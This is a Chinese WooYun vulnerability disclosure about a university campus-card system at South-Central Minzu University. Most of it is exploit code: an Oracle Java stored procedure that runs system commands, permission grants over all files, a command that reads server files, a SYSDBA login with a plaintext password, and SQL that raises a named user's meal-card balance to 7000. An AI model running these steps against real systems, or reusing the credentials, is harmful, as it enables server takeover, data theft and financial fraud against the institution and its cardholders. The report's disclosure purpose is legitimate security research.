湖北省中南民族大学一卡通系统BUG第二弹，可获取SYS DBA权限，可非法读取服务器上的任意文件，可利用程序非法充值饭卡余额 | wooyun-2014-079342

漏洞概要关注数(24) 关注此漏洞

缺陷编号：

wooyun-2014-079342

漏洞标题：

湖北省中南民族大学一卡通系统BUG第二弹，可获取SYS DBA权限，可非法读取服务器上的任意文件，可利用程序非法充值饭卡余额

漏洞详情

披露状态：

2014-10-14：细节已通知厂商并且等待厂商处理中
2014-10-19：厂商已经主动忽略漏洞，细节向公众公开

简要描述：

http://www.wooyun.org/bugs/wooyun-2014-078369
之前这个后续 = =

详细说明：

Oracle没有禁用JAVA扩展，通过之前爆出的iddbuser登陆
执行
create or replace and compile java source named runcmd as
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
public class RunCmd
{
private static void copyStream(InputStream inputStream, OutputStream outStream,String type) throws IOException {
byte[] bytes = new byte[1024];
int len = 0;
System.out.println("========"+type+"========");
while ( (len = inputStream.read(bytes)) != -1)
{
System.out.println(new String(bytes,0,len));
outStream.write(bytes,0,len);
}
}
public static void exec(String cmd)
{
try {
Process pc = Runtime.getRuntime().exec(cmd);
copyStream(pc.getInputStream(), System.out,"InputStream()");
copyStream(pc.getErrorStream(), System.out,"ErrorStream()");
} catch (IOException e) {
e.printStackTrace();
}
}
};
CREATE OR REPLACE PROCEDURE SP_RUNCMD
(cmd string)
as language java name 'RunCmd.exec(java.lang.String)';
begin
Dbms_Java.Grant_Permission('IDDBUSER', 'java.io.FilePermission', '<<ALL FILE>>', 'read ,write, execute, delete');
dbms_java.grant_permission('IDDBUSER','java.lang.RuntimePermission','*','writeFileDescriptor' );
end;
然后使用sqlplus
set serveroutput on;
call dbms_java.set_output(5000);
exec sp_runcmd('cat /home/oracle/expdp_auto.sh');

passwd 文件也可以读取

执行connect sys/xZHONGx2014@ecard as sysdba
select * from school.account where NAME='XXX'
update school.account set PRETMPBALANCE='7000' where NAME='XXX'